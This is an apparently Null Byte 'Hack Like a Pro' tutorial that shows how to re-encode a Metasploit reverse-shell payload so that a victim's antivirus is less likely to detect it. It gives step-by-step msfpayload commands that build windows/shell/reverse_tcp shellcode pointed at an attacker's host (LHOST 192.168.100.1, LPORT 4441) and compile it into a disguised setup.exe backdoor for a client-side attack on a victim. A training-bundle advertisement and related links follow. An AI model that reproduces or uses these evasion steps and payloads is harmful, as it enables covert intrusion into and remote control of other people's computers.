Hack Like a Pro: How to Bypass Antivirus Software by Disguising an Exploit's Signature « Null Byte :: WonderHowTo

Welcome back my fellow hackers!In my last few articles, I've concentrated on what is called alistener, which is basically the same thing asbackdoorandrootkit, only "listener" sounds much less malevolent than the other two terms.First, I covered embedding a listener in aMicrosoft Office document(Excel, PowerPoint, Word, etc.), then in anAdobe Reader PDF file. In both cases, when the victim opens the file, a small program runs in the background that allows us to connect to their system and control it.The ProblemThe only possible hitch in this scenario is that the victim's antivirus program is activated, is up to date, and detects our little program. In that case, the victim is unlikely to open the file and we don't get to play. But, in this lesson, I'll show you how to morph the listener so that the victim's antivirus software is unlikely to detect it.All antivirus software is based upon the very simple idea of malware signatures. What this means is that the antivirus software publishers simply keep track of what the malicious software looks like—when your AV software updates each day, it picks all new signatures. When it detects something that looks like one of these signatures, they alert the user and quarantine the malicious software.The ExploitFortunately for us, we can essentially change the signature of our malicious software without changing what it does. We simply re-code in a way that the AV software doesn't have a signature of. Pretty simple, wouldn't you say?Okay. Once again, fire up your BackTrack andMetasploitand let's get working on some metamorphosis.Step 1: Explore MsfpayloadLet's start by exploringmsfpayloadas part of the Metasploit suite. By typing msfpayload with the –h switch, we can get the help screen on this module.msfpayload -hNotice in the screenshot above that the syntax for this module includes options, the payload, and then several values that enable us to encode the payload using various programming languages including C, Perl, Ruby, Raw, VBA and others.Msfpayload enables us to convert the code of the payload into any of these choices and thereby better evade the victim's AV software.Step 2: Generate a Custom PayloadLet's proceed to generate a customized payload in C.msfpayload windows/shell/reverse_tcp -oNotice that we used the –o option and Metasploit displays our various options. To generate the the customized payload we need to pass the options to Metasploit, in this case the LHOST and the LPORT. Let's set those to our machine 192.168.100.1 and the LPORT to 4441.We need to now generate a custom payload in C by typing:msfpayload windows/shell/reverse_tcp LHOST=192.168.100.1 LPORT=4441 CNotice that we appended the command with a capital C to indicate that we wanted the payload to be generated in C. As you can see from screenshot above, Metasploit generated the payload in C and displayed it to us.Step 3: Generate the Binary CodeFinally, we need to generate a binary executable for the shellcode which can use in our client side attack.msfpayload windows/shell/reverse_tcp LHOST=192.168.100.1 X > setup.exeWe have now created an executable file by using theXoption and then sent this file to the current folder and named the filesetup.exe. We can now use this new payload in a client-side attack and the victim's AV software will be unlikely to have a signature for it, allowing us to stealthily place this backdoor/listener on their system.And that's it! Stay tuned for my next lesson, where we'll explore ways to disable the client AV software altogether.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byTechnicalinfoRelatedHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 1Hack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 2 (Dissecting ClamAV)How To:Bypass Antivirus Using Powershell and Metasploit (Kali Tutorial)Hacking macOS:How to Create an Undetectable PayloadHack Like a Pro:How to Evade AV Software with ShellterBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hacking Windows 10:How to Capture Keystrokes & Passwords RemotelyHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 3 (Creating a Malware Signature in ClamAV)News:Chinese Hack of U.S. Employment Records Reveals the Weakness of Signature-Based Defense SystemsHow To:The Ultimate Guide to Hacking macOSPasscode Exploit:How to Bypass the Lock Screen on an iPhone Running iOS 6.1Hack Like a Pro:How to Evade AV Detection with Veil-EvasionHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Remove the Palladium Pro rogue malware from your computerHow To:Remove Antivirus Pro from your computer with SpyhunterHow To:Remove AntiVirus Pro from your computerHow To:How Hackers Stole Your Credit Card Data in the Cyber Attack on Target StoresHack Like a Pro:How to Embed a Backdoor Connection in an Innocent-Looking PDFHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Antivirus Bypass:Friendly Reminder to Never Upload Your Samples to VirusTotalHow To:Creating a (Almost) Fully Undetectable EXE Using Kali & GCCHow To:Run an VNC Server on Win7Hack Like a Pro:How to Fingerprint Web Servers Using HttprintHow To:Check if Third-Party Apps Are Safe to Install on Your MacHack Like a Pro:The Hacker MethodologyLockdown:The InfoSecurity Guide to Securing Your Computer, Part IHow To:The Hacks Behind Cracking, Part 1: How to Bypass Software RegistrationHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Bypass a Local Network Proxy for Free InternetNews:Show off your disguises!